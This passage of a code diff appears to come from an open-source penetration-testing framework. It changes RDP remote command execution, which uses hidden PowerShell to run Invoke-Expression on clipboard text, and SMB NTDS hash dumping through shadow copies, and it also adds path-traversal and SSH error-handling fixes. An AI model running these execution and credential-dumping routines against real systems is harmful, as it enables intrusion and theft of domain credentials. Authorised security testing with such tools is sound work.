except (ConnectionResetError, ConnectionError, OSError) as e:
self.logger.debug(f"Connection error while waiting for clipboard: {e!s}")
self.logger.fail("Connection was reset by the remote host")
return False
except Exception as e:
self.logger.debug(f"Error sending Win+R: {e!s}")
self.logger.debug("Using fallback approach for opening command prompt")
return False
if not self.conn.desktop_buffer_has_data:
try:
await self._wait_for_event({"VIDEO"}, self.args.cmd_delay)
except TimeoutError:
self.logger.debug("No desktop update received before command execution; continuing")
remaining_delay = self.args.cmd_delay - (loop.time() - started_at)
if remaining_delay > 0:
await asyncio.sleep(remaining_delay)
async def _submit_run_command(self, command):
await self._send_win_r()
await self.conn.set_current_clipboard_text(command)
# server must acknowledge our clipboard data before we trigger the read
response = await self._wait_for_event(
{"CLIPBOARD_FORMAT_LIST_RESPONSE"}, self.args.clipboard_delay
)
if not response.accepted:
raise RuntimeError(
"Remote session rejected the clipboard command data"
)
# type a one-liner that reads and executes the clipboard we just set
# uses .NET WinForms API instead of Get-Clipboard (which requires PS5+)
await self._send_keystrokes(
"powershell.exe -NoLogo -NoProfile -NonInteractive -STA "
'-WindowStyle Hidden -Command "Add-Type -AssemblyName '
"System.Windows.Forms; Invoke-Expression "
'([System.Windows.Forms.Clipboard]::GetText())"'
)
await self._send_enter()
async def _submit_typed_run_command(self, command):
await self._send_win_r()
await self._send_keystrokes(command, delay=0.005)
await self._send_enter()
async def _wait_for_command_result(self, marker):
loop = asyncio.get_running_loop()
deadline = loop.time() + self.args.clipboard_delay
while True:
remaining = deadline - loop.time()
if remaining <= 0:
raise TimeoutError
data = await self._wait_for_event({"CLIPBOARD_DATA_TXT"}, remaining)
result = self._parse_execution_result(data.data, marker)
if result is not None:
return result
async def execute_shell(self, payload, get_output, shell_type):
# Append | clip to send output to clipboard
if shell_type == "cmd":
payload_with_clip = f"{payload} | clip & exit"
elif shell_type == "powershell":
payload_with_clip = f"try {{ {payload} 2>&1 | clip}} catch {{ $_ | clip}}; exit"
else:
self.logger.fail(f"Unsupported shell type: {shell_type}")
return None
self.logger.debug(f"Executing command: {payload_with_clip}")
marker = uuid4().hex if get_output else None
command = self._build_execution_command(
payload, shell_type, marker, get_output
)
self.logger.debug(f"Executing {shell_type} command through {'an encoded PowerShell launcher' if get_output else 'interactive keyboard input'}")
try:
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
self.conn = self._create_rdp_connection(self.auth)
await self.connect_rdp()
except Exception as e:
self.logger.debug(f"Error connecting to RDP: {e!s}")
if "CredSSP" in str(e) or "STATUS_LOGON" in str(e):
self.logger.fail(f"Authentication failed: {e!s}")
await self.terminate_conn()
return None
try:
if get_output:
self.logger.success("Waiting for clipboard to be ready...")
clipboard_ready = False
await asyncio.sleep(self.args.cmd_delay)
timeout_counter = 0
while not clipboard_ready and timeout_counter < (self.args.clipboard_delay * 10): # Convert seconds to deciseconds
try:
data = await asyncio.wait_for(self.conn.ext_out_queue.get(), timeout=0.1)
if hasattr(data, "type") and data.type.name == "CLIPBOARD_READY":
clipboard_ready = True
self.logger.debug("Clipboard is ready!")
break
except asyncio.TimeoutError:
timeout_counter += 1
continue
except (ConnectionResetError, ConnectionError, OSError) as e:
self.logger.debug(f"Connection error while waiting for clipboard: {e!s}")
self.logger.fail("Connection was reset by the remote host")
return ""
except Exception as e:
self.logger.debug(f"Error waiting for clipboard: {e!s}")
self.logger.fail("Warning: Clipboard may not be fully initialized, no output can be retrieved")
return ""
if not clipboard_ready:
try:
await self._wait_for_event({"CLIPBOARD_READY"}, self.args.clipboard_delay)
except TimeoutError:
self.logger.fail("Clipboard cannot be initialized, no output can be retrieved")
return ""
return None
# Wait for desktop to be available
await asyncio.sleep(self.args.cmd_delay)
await self._wait_for_desktop()
if get_output:
# On first RDP logon after boot, Explorer may not be ready to
# process Win+R immediately after the desktop appears. This
# no-op warmup command absorbs the race: if the shell isn't
# ready it silently fails, and the 3-second pause gives Explorer
# time to finish initialization before the real command.
await self._submit_typed_run_command(
"powershell.exe -NoLogo -NoProfile -NonInteractive -WindowStyle Hidden "
'-Command "Add-Type -AssemblyName System.Windows.Forms"'
)
await asyncio.sleep(3)
if get_output:
try:
await self._submit_run_command(command)
except TimeoutError:
self.logger.fail(
"Remote session did not acknowledge the clipboard command data"
)
return None
else:
await self._submit_typed_run_command(command)
if not get_output:
await asyncio.sleep(self.args.cmd_delay)
self.logger.success("Executed command without retrieving output")
return None
try:
# Try to open Run dialog using Windows+R
self.logger.debug("Attempting to open Run dialog")
win_r_success = await self._send_win_r()
if win_r_success:
self.logger.debug(f"Launching {shell_type} via Run dialog")
await self._send_keystrokes(f"{shell_type}.exe")
await self._send_enter()
await asyncio.sleep(self.args.cmd_delay) # Wait for cmd window to open
else:
# Fallback: Try direct command typing (assumes cmd may already be open)
self.logger.debug(f"Sending {shell_type} command directly")
await self._send_keystrokes(f"{shell_type}.exe")
await self._send_enter()
await asyncio.sleep(self.args.cmd_delay)
# Type the command with | clip
self.logger.debug(f"Typing command: {payload_with_clip}")
await self._send_keystrokes(payload_with_clip)
await self._send_enter()
# Wait for command to execute
await asyncio.sleep(self.args.cmd_delay)
if get_output:
# Get the current clipboard text
self.logger.debug("Getting clipboard content...")
clipboard_text = await self.conn.get_current_clipboard_text()
if clipboard_text:
self.logger.debug("Command output retrieved from clipboard:")
for line in clipboard_text.lstrip().strip("\n").splitlines():
self.logger.highlight(line)
else:
self.logger.fail("Clipboard is empty or contains non-text data")
return clipboard_text
else:
self.logger.success("Executed command without retrieving output")
self.logger.debug("Command execution completed")
exit_code, output = await self._wait_for_command_result(marker)
except TimeoutError:
self.logger.fail("Timed out waiting for command output on the RDP clipboard")
return None
except (ConnectionResetError, ConnectionError, OSError) as e:
self.logger.debug(f"Connection error during command execution: {e!s}")
self.logger.fail("Connection was reset by the remote host during command execution")
return None
except Exception as e:
self.logger.debug(f"Error during command execution: {e!s}")
if "cannot unpack non-iterable NoneType object" in str(e):
self.logger.fail("RDP connection was terminated unexpectedly")
else:
self.logger.fail(f"Command execution failed: {e!s}")
return None
if exit_code != 0:
self.logger.fail(f"Command completed with exit code {exit_code}")
if output:
for line in output.splitlines():
self.logger.highlight(line)
else:
self.logger.debug("Command completed without output")
return output
except (ConnectionResetError, ConnectionError, OSError) as e:
self.logger.debug(f"Connection error: {e!s}")
@@ -559,37 +758,31 @@ class rdp(connection):
get_output = bool(not self.args.no_output)
self.logger.success(f"Executing command: {payload} with delay {self.args.cmd_delay} seconds")
self.logger.success(f"Executing command: {payload}")
try:
result = asyncio.run(self.execute_shell(payload, get_output, shell_type))
if result:
if result is not None:
self.logger.debug("Command execution completed")
return result
except Exception as e:
self.logger.error(f"Command execution error: {e!s}")
if shell_type == "cmd":
self.logger.info("Cannot execute command via cmd - now switching to PowerShell to attempt execution")
try:
return self.execute(payload, shell_type="powershell")
except Exception as e2:
self.logger.fail(f"Execute command failed, error: {e2!s}")
else:
self.logger.fail(f"Execute command failed, error: {e!s}")
self.logger.fail(f"Execute command failed, error: {e!s}")
def ps_execute(self):
self.execute(payload=self.args.ps_execute, shell_type="powershell")
async def screen(self):
try:
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
self.conn = self._create_rdp_connection(self.auth)
await self.connect_rdp()
await asyncio.sleep(5)
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
filename_stem = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=251)
filename = await (Path(NXC_PATH) / "screenshots" / f"{filename_stem}.png").expanduser()
buffer.save(filename, "png")
self.logger.highlight(f"Screenshot saved {filename}")
except Exception as e:
@@ -605,8 +798,9 @@ class rdp(connection):
for proto in self.protoflags_nla:
try:
self.iosettings.supported_protocols = proto
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
self.conn = self._create_rdp_connection(
self.auth, supported_protocols=proto
)
await self.connect_rdp()
except Exception as e:
self.logger.debug(f"Failed to connect for nla_screenshot with {proto} {e}")
@@ -617,7 +811,8 @@ class rdp(connection):
await asyncio.sleep(int(self.args.screentime))
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
filename_stem = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=251)
filename = await (Path(NXC_PATH) / "screenshots" / f"{filename_stem}.png").expanduser()
buffer.save(filename, "png")
self.logger.highlight(f"NLA Screenshot saved {filename}")
return
+2 -2
View File
@@ -20,8 +20,8 @@ def proto_args(parser, parents):
cgroup = rdp_parser.add_argument_group("Command Execution")
cgroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command")
cgroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")
cgroup.add_argument("--cmd-delay", type=int, default=5, help="Sleep time before executing command")
cgroup.add_argument("--clipboard-delay", type=int, default=30, help="Maximum time to wait for clipboard initialization (seconds)")
cgroup.add_argument("--cmd-delay", type=int, default=5, help="Delay before executing the command and before disconnecting with --no-output")
cgroup.add_argument("--clipboard-delay", type=int, default=30, help="Maximum time to wait for clipboard initialization and command output")
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
return parser
+61 -54
View File
@@ -6,14 +6,16 @@ import struct
import ipaddress
from pathlib import Path
from nxc.helpers.path import sanitize_filename
from nxc.helpers.path import sanitize_path_component
from Cryptodome.Hash import MD4
from textwrap import dedent
from nxc.helpers.misc import sanitize_dns
from impacket.smbconnection import SMBConnection, SessionError
from impacket.smb import SMB_DIALECT
from impacket.smb3structs import SMB2_DIALECT_30, SMB2_NEGOTIATE_SIGNING_REQUIRED
from impacket.examples.secretsdump import (
LocalOperations,
RemoteOperations,
SAMHashes,
LSASecrets,
@@ -59,9 +61,11 @@ from impacket.smb3structs import (
from impacket.dcerpc.v5 import tsts as TSTS
from nxc.config import process_secret, host_info_colors, check_guest_account, display_dc
from nxc.connection import connection, sem, requires_admin, dcom_FirewallChecker
from nxc.connection import connection, sem, requires_admin
from nxc.helpers.rpc import dcom_FirewallChecker
from nxc.helpers.misc import gen_random_string, validate_ntlm
from nxc.logger import NXCAdapter
from nxc.paths import NXC_PATH
from nxc.protocols.smb.kerberos import kerberos_login_with_S4U, kerberos_altservice, get_realm_from_ticket
from nxc.protocols.smb.wmiexec import WMIEXEC
from nxc.protocols.smb.atexec import TSCH_EXEC
@@ -207,16 +211,15 @@ class smb(connection):
# self.targetDomain is the attribute which gets displayed as host domain
if not self.no_ntlm:
# Try to get hostname with getServerDNSHostName as getServerName is truncated to 15 chars
dns_hostname = self.conn.getServerDNSHostName().upper()
dns_hostname = self.conn.getServerDNSHostName()
if dns_hostname and "." in dns_hostname:
self.hostname = dns_hostname.split(".")[0]
hostname = dns_hostname.split(".", 1)[0]
elif dns_hostname:
self.hostname = dns_hostname
hostname = dns_hostname
else:
self.hostname = self.conn.getServerName()
self.targetDomain = self.conn.getServerDNSDomainName()
if not self.targetDomain: # Not sure if that can even happen but now we are safe
self.targetDomain = self.hostname
hostname = self.conn.getServerName()
self.hostname = sanitize_dns(hostname, self.logger)
self.targetDomain = sanitize_dns(self.conn.getServerDNSDomainName() or self.hostname, self.logger)
else:
try:
# If we know the host is a DC we can still get the hostname over LDAP if NTLM is not available
@@ -891,17 +894,13 @@ class smb(connection):
session we already hold answers without enumerating every share (unlike
listShares). ACCESS_DENIED still proves the share exists, hence a DC.
Meant to run while the null session is still fresh. When there is no
session, the reason is decisive: a DC with NTLM enabled always accepts
the null bind, so "NTLM on + no null session" means this is NOT a DC.
Only "NTLM disabled" is inconclusive here (a real DC can refuse the null
bind then), so we hand that case off to the Kerberos tier.
Meant to run while the null session is still fresh. Without a session
this check is inconclusive: DCs can refuse the null bind (Server 2025
does by default, as does an NTLM-disabled DC), so we hand off to the
RPC/Kerberos tiers.
"""
if not self.null_auth:
if not self.no_ntlm:
self.logger.debug("NTLM enabled but no null session: host is not a DC")
return False
self.logger.debug("No null session (NTLM disabled): deferring to Kerberos")
self.logger.debug("No null session: SMB DC check inconclusive, deferring to RPC/Kerberos")
return None
try:
tid = self.conn.connectTree("SYSVOL")
@@ -1264,7 +1263,7 @@ class smb(connection):
self.logger.error("Could not get process list")
return
pidList = [i["UniqueProcessId"] for i in res if i["ImageName"].lower() == self.args.taskkill.lower()]
pidList = [i.getProcessInfo()["UniqueProcessId"] for i in res if i.getProcessInfo()["ImageName"].getValue().lower() == self.args.taskkill.lower()]
if not pidList:
self.logger.fail(f"Could not find process named {self.args.taskkill}")
return
@@ -1378,12 +1377,12 @@ class smb(connection):
@requires_admin
def tasklist(self):
# Formats a row to be printed on screen
def format_row(procInfo):
def format_row(procInfo, pSid):
return template.format(
procInfo["ImageName"],
procInfo["UniqueProcessId"],
procInfo["SessionId"],
procInfo["pSid"],
str(procInfo["ImageName"].getValue()),
str(procInfo["UniqueProcessId"]),
str(procInfo["SessionId"]),
pSid,
f"{procInfo['WorkingSetSize'] // 1000:,} K",
)
@@ -1399,8 +1398,8 @@ class smb(connection):
if not res:
return
self.logger.success("Enumerated processes")
maxImageNameLen = max(len(i["ImageName"]) for i in res)
maxSidLen = max(len(i["pSid"]) for i in res)
maxImageNameLen = max(len(i.getProcessInfo()["ImageName"].getValue()) for i in res)
maxSidLen = max(len(i.getSid()) for i in res)
template = f"{{: <{maxImageNameLen}}} {{: <8}} {{: <11}} {{: <{maxSidLen}}} {{: >12}}"
self.logger.highlight(template.format("Image Name", "PID", "Session#", "SID", "Mem Usage"))
self.logger.highlight(template.replace(": ", ":=").format("", "", "", "", ""))
@@ -1411,12 +1410,12 @@ class smb(connection):
# If args.tasklist is not True then a process name was supplied
if self.args.tasklist is not True:
# So we look for it and print its information if found
if self.args.tasklist.lower() in procInfo["ImageName"].lower():
if self.args.tasklist.lower() in procInfo.getProcessInfo()["ImageName"].getValue().lower():
found_task = True
self.logger.highlight(format_row(procInfo))
self.logger.highlight(format_row(procInfo.getProcessInfo(), procInfo.getSid()))
# Else, no process was supplied, we print the entire list of remote processes
else:
self.logger.highlight(format_row(procInfo))
self.logger.highlight(format_row(procInfo.getProcessInfo(), procInfo.getSid()))
# If a process was suppliad to args.tasklist and it was not found, we print a fail message
if self.args.tasklist is not True and not found_task:
@@ -1989,7 +1988,7 @@ class smb(connection):
try:
dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.kerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host)
iInterface = dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
flag, stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.dcom_timeout)
flag, stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.dcom_timeout, self.logger)
if not flag or not stringBinding:
error_msg = f"WMI Query: Dcom initialization failed on connection with stringbinding: '{stringBinding}', please increase the timeout with the option '--dcom-timeout'. If it's still failing maybe something is blocking the RPC connection, try another exec method"
@@ -2166,10 +2165,10 @@ class smb(connection):
def get_file_single(self, remote_path, download_path, silent=False):
share_name = self.args.share
if self.args.append_host:
download_path = sanitize_path_component(f"{self.hostname}-{remote_path}")
if not silent:
self.logger.display(f"Copying '{remote_path}' to '{download_path}'")
if self.args.append_host:
download_path = f"{self.hostname}-{remote_path}"
with open(download_path, "wb+") as file:
if self.download_file(share_name, remote_path, file.write):
if not silent:
@@ -2202,10 +2201,18 @@ class smb(connection):
filtered_items = [item for item in items if item.get_longname() not in [".", ".."]]
# create local directory structure regardless of content; download empty folders by default
# change the Windows path to Linux and then join it with the base directory to get our actual save path
relative_path = os.path.join(*folder.replace(base_dir or folder, "").lstrip("\\").split("\\"))
local_folder_path = os.path.join(dest, relative_path)
# Create a safe local directory structure while retaining the raw remote path for SMB.
try:
relative_path = ntpath.relpath(folder, base_dir or folder)
except ValueError:
relative_path = folder
relative_parts = [] if relative_path == "." else [sanitize_path_component(part) for part in relative_path.split("\\") if part]
local_folder_path = os.path.join(dest, *relative_parts)
destination_path = Path(dest).resolve()
resolved_folder = Path(local_folder_path).resolve()
if resolved_folder != destination_path and destination_path not in resolved_folder.parents:
self.logger.fail(f"Path traversal detected in '{folder}', skipping")
return
if not filtered_items and ignore_empty:
self.logger.debug(f"Skipping empty folder '{folder}'")
@@ -2217,22 +2224,20 @@ class smb(connection):
self.logger.display(f"Created empty directory '{local_folder_path}'")
for item in filtered_items:
item_name = sanitize_filename(item.get_longname())
if not item_name:
self.logger.fail(f"Path traversal detected in '{item.get_longname()}', skipping")
continue
dir_path = ntpath.normpath(ntpath.join(folder, item_name))
self.logger.debug(f"Parsing item: {item_name}, {dir_path}")
remote_item_name = item.get_longname()
item_name = sanitize_path_component(remote_item_name)
dir_path = ntpath.normpath(ntpath.join(folder, remote_item_name))
self.logger.debug(f"Parsing item: {remote_item_name!r}, {dir_path!r}")
if item.is_directory() and recursive:
self.logger.debug(f"Found new directory to parse: {dir_path}")
self.logger.debug(f"Found new directory to parse: {dir_path!r}")
self.download_folder(dir_path, dest, recursive, silent, base_dir or folder, ignore_empty)
elif not item.is_directory():
remote_file_path = ntpath.join(folder, item_name)
remote_file_path = ntpath.join(folder, remote_item_name)
local_file_path = os.path.join(local_folder_path, item_name)
# Defense-in-depth: verify path stays under destination
resolved = Path(local_file_path).resolve()
if not str(resolved).startswith(str(Path(dest).resolve()) + os.sep):
if destination_path not in resolved.parents:
self.logger.fail(f"Path traversal detected in '{item_name}', skipping")
continue
self.logger.debug(f"{dest=} {remote_file_path=} {relative_path=} {local_folder_path=} {local_file_path=}")
@@ -2240,7 +2245,7 @@ class smb(connection):
try:
self.get_file_single(remote_file_path, local_file_path, silent)
except FileNotFoundError:
self.logger.fail(f"Error downloading file '{remote_file_path}' due to file not found (probably a race condition between listing and downloading)")
self.logger.fail(f"Error downloading file '{remote_file_path!r}' due to file not found (probably a race condition between listing and downloading)")
def get_folder(self):
recursive = self.args.recursive
@@ -2434,6 +2439,7 @@ class smb(connection):
def ntds(self):
self.enable_remoteops()
is_remote = True
use_vss_method = False
NTDSFileName = None
host_id = self.db.get_hosts(filter_term=self.host)[0][0]
@@ -2488,20 +2494,21 @@ class smb(connection):
add_hash.kerb_secrets = 0
add_hash.added_to_db = 0
if self.remote_ops:
try:
if self.args.ntds == "vss":
NTDSFileName = self.remote_ops.saveNTDS()
use_vss_method = True
except Exception as e:
self.logger.fail(e)
if self.args.ntds == "vss":
use_vss_method = True
is_remote = False
output_folder = os.path.abspath(os.path.join(NXC_PATH, "logs", "ntds", sanitize_path_component(self.hostname)))
os.makedirs(output_folder, exist_ok=True)
sam_path, system_path, security_path, NTDSFileName = self.remote_ops.createSSandDownloadWMI("C:\\", output_folder, NTDS=True)
localOps = LocalOperations(system_path)
self.bootkey = localOps.getBootKey()
self.output_filename = self.output_file_template.format(output_folder="ntds")
NTDS = NTDSHashes(
NTDSFileName,
self.bootkey,
isRemote=True,
isRemote=is_remote,
history=self.args.history,
noLMHash=True,
remoteOps=self.remote_ops,
+2 -2
View File
@@ -27,7 +27,7 @@
from os.path import join as path_join
from time import sleep
from nxc.connection import dcom_FirewallChecker
from nxc.helpers.rpc import dcom_FirewallChecker
from nxc.helpers.misc import gen_random_string
from nxc.paths import TMP_PATH
@@ -108,7 +108,7 @@ class MMCEXEC:
self.logger.info(f"Got Exception while connecting with DCOM: {e}")
# Make it force break function
self.__dcom.disconnect()
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout)
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout, self.logger)
if not flag or not self.__stringBinding:
error_msg = f'MMCEXEC: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the option "--dcom-timeout". If it\'s still failing maybe something is blocking the RPC connection, try another exec method'
+2 -2
View File
@@ -1,7 +1,7 @@
import ntpath
import os
from time import sleep
from nxc.connection import dcom_FirewallChecker
from nxc.helpers.rpc import dcom_FirewallChecker
from nxc.helpers.misc import gen_random_string
from nxc.paths import TMP_PATH
from impacket.dcerpc.v5.dcomrt import DCOMConnection
@@ -57,7 +57,7 @@ class WMIEXEC:
remoteHost=self.__remoteHost,
)
iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout)
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout, self.logger)
if not flag or not self.__stringBinding:
error_msg = f'WMIEXEC: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the option "--dcom-timeout". If it\'s still failing maybe something is blocking the RPC connection, try another exec method'
+14 -3
View File
@@ -14,6 +14,8 @@ from paramiko.ssh_exception import (
SSHException,
)
from nxc.protocols.ssh.keyfiles import is_key_type_rejected
class ssh(connection):
def __init__(self, args, db, host):
@@ -85,13 +87,13 @@ class ssh(connection):
try:
if self.args.key_file or private_key:
self.logger.debug(f"Logging {self.host} with username: {username}, keyfile: {self.args.key_file}")
# Load the key here: with key_filename paramiko tries every key class in turn and the last parsing failure overwrites the real authentication error.
pkey = paramiko.PKey.from_path(self.args.key_file, password.encode() if password else None) if self.args.key_file else private_key
self.conn.connect(
self.host,
port=self.port,
username=username,
passphrase=password if password != "" else None,
pkey=private_key,
key_filename=self.args.key_file,
pkey=pkey,
timeout=self.args.ssh_timeout,
look_for_keys=False,
allow_agent=False,
@@ -125,6 +127,8 @@ class ssh(connection):
except AuthenticationException as e:
if "Private key file is encrypted" in str(e):
self.logger.fail(f"{username}:{process_secret(password)} Could not load private key, error: {e}")
elif is_key_type_rejected(e):
self.logger.fail(f"{username}:{process_secret(password)} Key type rejected by server (pubkey algorithm not allowed)")
else:
self.logger.fail(f"{username}:{process_secret(password)}")
except SSHException as e:
@@ -132,8 +136,15 @@ class ssh(connection):
self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, invalid password")
elif "Error reading SSH protocol banner" in str(e):
self.logger.error(f"Internal Paramiko error for {username}:{process_secret(password)}, {e}")
elif is_key_type_rejected(e):
self.logger.fail(f"{username}:{process_secret(password)} Key type rejected by server (pubkey algorithm not allowed)")
else:
self.logger.exception(e)
except ValueError as e:
self.logger.debug(f"Could not load private key {self.args.key_file}: {e}")
self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, invalid password")
except TimeoutError:
self.logger.fail(f"{username}:{process_secret(password)} Connection timed out")
except Exception as e:
self.logger.exception(e)
self.conn.close()
+11
View File
@@ -0,0 +1,11 @@
# Substrings paramiko raises when the server refuses a public key whose algorithm is not in its accepted list, e.g. sshd set to "PubkeyAcceptedAlgorithms ssh-ed25519" while the key is RSA.
# They must be told apart from a wrong passphrase, otherwise the operator gets an error pointing at the wrong thing.
KEY_TYPE_REJECTED_SUBSTRINGS = (
"no RSA pubkey algorithms are configured",
"Unable to agree on a pubkey algorithm",
)
def is_key_type_rejected(exc):
"""Return True if exc means the server rejected the key's algorithm."""
return any(sub in str(exc) for sub in KEY_TYPE_REJECTED_SUBSTRINGS)
+4 -3
View File
@@ -7,6 +7,7 @@ import struct
from nxc.config import host_info_colors
from nxc.connection import connection
from nxc.helpers.logger import highlight
from nxc.helpers.path import sanitize_path_component
from nxc.logger import NXCAdapter
from nxc.paths import NXC_PATH
from aardwolf.commons.target import RDPTarget
@@ -100,7 +101,7 @@ class vnc(connection):
credential = UniCredential(protocol=asyauthProtocol.PLAIN, stype=asyauthSecret.PASS)
self.conn = VNCConnection(target=self.target, credentials=credential, iosettings=self.iosettings)
asyncio.run(self.connect_vnc(True))
except asyncio.TimeoutError:
except TimeoutError:
# asyncio.TimeoutError is only an alias of the builtin from 3.11 on,
# and the project supports 3.10, so catch it by its asyncio name.
self.logger.debug(f"Timed out after {self.args.vnc_timeout}s connecting to {self.host}:{self.port}")
@@ -144,7 +145,7 @@ class vnc(connection):
)
return True
except asyncio.TimeoutError:
except TimeoutError:
# Reporting an unresponsive server as a rejected password would be wrong:
# nothing was authenticated, so say what actually happened.
self.logger.fail(f"{password} - Connection timed out after {self.args.vnc_timeout}s")
@@ -160,7 +161,7 @@ class vnc(connection):
await asyncio.sleep(int(self.args.screentime))
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
filename = await (Path(NXC_PATH) / "screenshots" / sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png")).expanduser()
buffer.save(filename, "png")
self.logger.highlight(f"Screenshot saved {filename}")
+6 -3
View File
@@ -19,7 +19,7 @@ from nxc.config import process_secret, host_info_colors
from nxc.connection import connection
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.dpapi import DPAPITriage
from nxc.helpers.misc import gen_random_string
from nxc.helpers.misc import gen_random_string, sanitize_dns
from nxc.helpers.negotiate_parser import parse_challenge
from nxc.logger import NXCAdapter
@@ -68,8 +68,11 @@ class winrm(connection):
self.no_ntlm = True
return False
self.targetDomain = self.domain = ntlm_info["domain"]
self.hostname = ntlm_info["hostname"]
dns_hostname = ntlm_info["dns_hostname"] or ""
hostname = ntlm_info["hostname"] or dns_hostname.split(".", 1)[0] or self.host
domain = ntlm_info["domain"] or (dns_hostname.split(".", 1)[1] if "." in dns_hostname else self.host)
self.hostname = sanitize_dns(hostname, self.logger)
self.targetDomain = self.domain = sanitize_dns(domain, self.logger)
self.server_os = ntlm_info["os_version"]
self.logger.extra["hostname"] = self.hostname
+335 -32
View File
@@ -1,11 +1,22 @@
import os
import re
import struct
import binascii
from Cryptodome.Hash import MD4
from io import StringIO
import base64
from nxc.helpers.negotiate_parser import parse_challenge
from nxc.helpers.misc import sanitize_dns
from nxc.config import process_secret
from nxc.connection import connection, dcom_FirewallChecker, requires_admin
from nxc.connection import connection, requires_admin
from nxc.helpers.rpc import dcom_FirewallChecker
from nxc.helpers.misc import validate_ntlm
from nxc.logger import NXCAdapter
from nxc.helpers.logger import highlight
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
from nxc.protocols.wmi import wmiexec, wmiexec_event
from nxc.protocols.wmi.remoteops import RemoteOperations
from nxc.helpers.dpapi import DPAPITriage
from dploot.lib.network.wmi import WMITarget as Target
@@ -13,11 +24,12 @@ from dploot.lib.network.wmi import WMITarget as Target
from impacket import ntlm
from impacket.uuid import uuidtup_to_bin
from impacket.krb5.ccache import CCache
from impacket.examples.secretsdump import LSASecrets, SAMHashes, NTDSHashes
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import transport, epm
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, MSRPC_BIND, MSRPCBind, CtxItem, MSRPCHeader, SEC_TRAILER, MSRPCBindAck
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login
from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login, DCERPCSessionError, IWbemServices
MSRPC_UUID_PORTMAP = uuidtup_to_bin(("E1AF8308-5D1F-11C9-91A4-08002B14A0FA", "3.0"))
@@ -50,6 +62,8 @@ class wmi(connection):
}
self.iWbemLevel1Login = None
self.dcom_conn = None
self.namespaces = {}
self._remote_ops = None
self.no_da = None
self.dpapi_system_key = None
@@ -136,8 +150,11 @@ class wmi(connection):
response = MSRPCHeader(buffer)
bindResp = MSRPCBindAck(response.getData())
ntlm_info = parse_challenge(bindResp["auth_data"])
self.targetDomain = self.domain = ntlm_info["domain"]
self.hostname = ntlm_info["hostname"]
dns_hostname = ntlm_info["dns_hostname"] or ""
hostname = ntlm_info["hostname"] or dns_hostname.split(".", 1)[0] or self.host
domain = ntlm_info["domain"] or (dns_hostname.split(".", 1)[1] if "." in dns_hostname else self.host)
self.hostname = sanitize_dns(hostname, self.logger)
self.targetDomain = self.domain = sanitize_dns(domain, self.logger)
self.server_os = ntlm_info["os_version"]
self.logger.extra["hostname"] = self.hostname
else:
@@ -164,7 +181,7 @@ class wmi(connection):
try:
self.dcom_conn = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host)
iInterface = self.dcom_conn.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
flag, self.stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.rpc_timeout)
flag, self.stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.rpc_timeout, self.logger)
except Exception as e:
self.logger.debug(f"Received error while checking admin: {e}")
if "access_denied" not in str(e).lower():
@@ -180,8 +197,7 @@ class wmi(connection):
else:
try:
